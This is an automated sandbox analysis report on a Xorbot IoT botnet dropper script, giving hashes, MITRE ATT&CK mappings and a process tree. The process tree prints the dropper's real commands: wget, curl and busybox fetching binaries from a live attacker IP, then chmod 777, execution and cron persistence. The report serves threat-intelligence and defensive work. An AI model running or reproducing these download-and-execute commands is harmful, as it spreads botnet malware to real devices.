xorbot | 7b91847f2f91979b157d2d9a1c86a1af72f870474ff5e06955441dc3e831d8ff

Analysis

max time kernel
150s
max time network
149s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
04/01/2025, 12:35

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General

Target

TDNJI_bins.sh
Size

10KB
MD5

6e6997bf49581bf245df9342aecf0877
SHA1

290de347fd1c82a321665fe064a309b572388ea4
SHA256

7b91847f2f91979b157d2d9a1c86a1af72f870474ff5e06955441dc3e831d8ff
SHA512

4d2cac7676749f2c2c6ce261617d6fe39bcadea9483b63f0a92c759559d0634ba978ef30aa1601386b65cb34774826d65d623c8995115fd6011fb840fe6b6ef7
SSDEEP

192:NPzbDjWKCG3lLb3Dnm+bd8rgHEzbDjWKz3Dnm+xO:N7CG3lLv6rgH8Q

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2198) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
730	chmod
738	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	731	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq	739	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq

Renames itself 1 IoCs

pid	Process
740	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.p4DwMh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1079/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/747/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/964/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/866/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/890/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/929/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/938/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/75/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/757/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/322/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/727/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/817/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/939/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/974/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/983/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/2/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/6/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/1041/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/930/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/957/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/1015/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/16/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/796/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/1009/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/772/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/785/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/760/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/789/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/802/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/804/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/980/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/1067/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/19/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/323/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/808/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/924/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/948/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/1098/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/703/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/857/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/950/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/961/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/1089/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/20/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/116/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/778/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/782/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/786/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/910/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/970/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/978/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/17/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/372/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/987/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/1071/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/792/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/812/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/849/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/891/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/1017/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/70/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
File opened for reading	/proc/82/cmdline	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	wget
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	curl
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	busybox
File opened for modification	/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq	wget
File opened for modification	/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq	curl
File opened for modification	/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq	busybox

/tmp/TDNJI_bins.sh
/tmp/TDNJI_bins.sh
1⤵
PID:701
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Writes file to tmp directory
  PID:717
- /bin/busybox
  /bin/busybox wget http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Writes file to tmp directory
  PID:729
- /bin/chmod
  chmod 777 crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  ./crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  PID:733
- /usr/bin/wget
  wget http://146.19.162.73/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://146.19.162.73/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://146.19.162.73/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  ./oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:739
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:741
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:742
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:743
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:744
- /bin/rm
  rm oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  PID:746
- /usr/bin/wget
  wget http://146.19.162.73/bins/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
  2⤵
  PID:749

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.p4DwMh

Filesize
210B

MD5
f320efd49b2ebd9de2b74295670ee52f

SHA1
d5475c749e6aadd36d7d977f80dd21aacafe59dc

SHA256
f7bad0a66387e7e67aa8421aaa03549ac43c73be69f8c32197d8f71f2f386eff

SHA512
76c25eb019df39940f1eff215cf3c72258133174b79ce3adbcce0485bebc6c9c5c9cd895a3a1987fdcd06cc736c8ba91d3177387af9583d3273d1e87a695af92

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads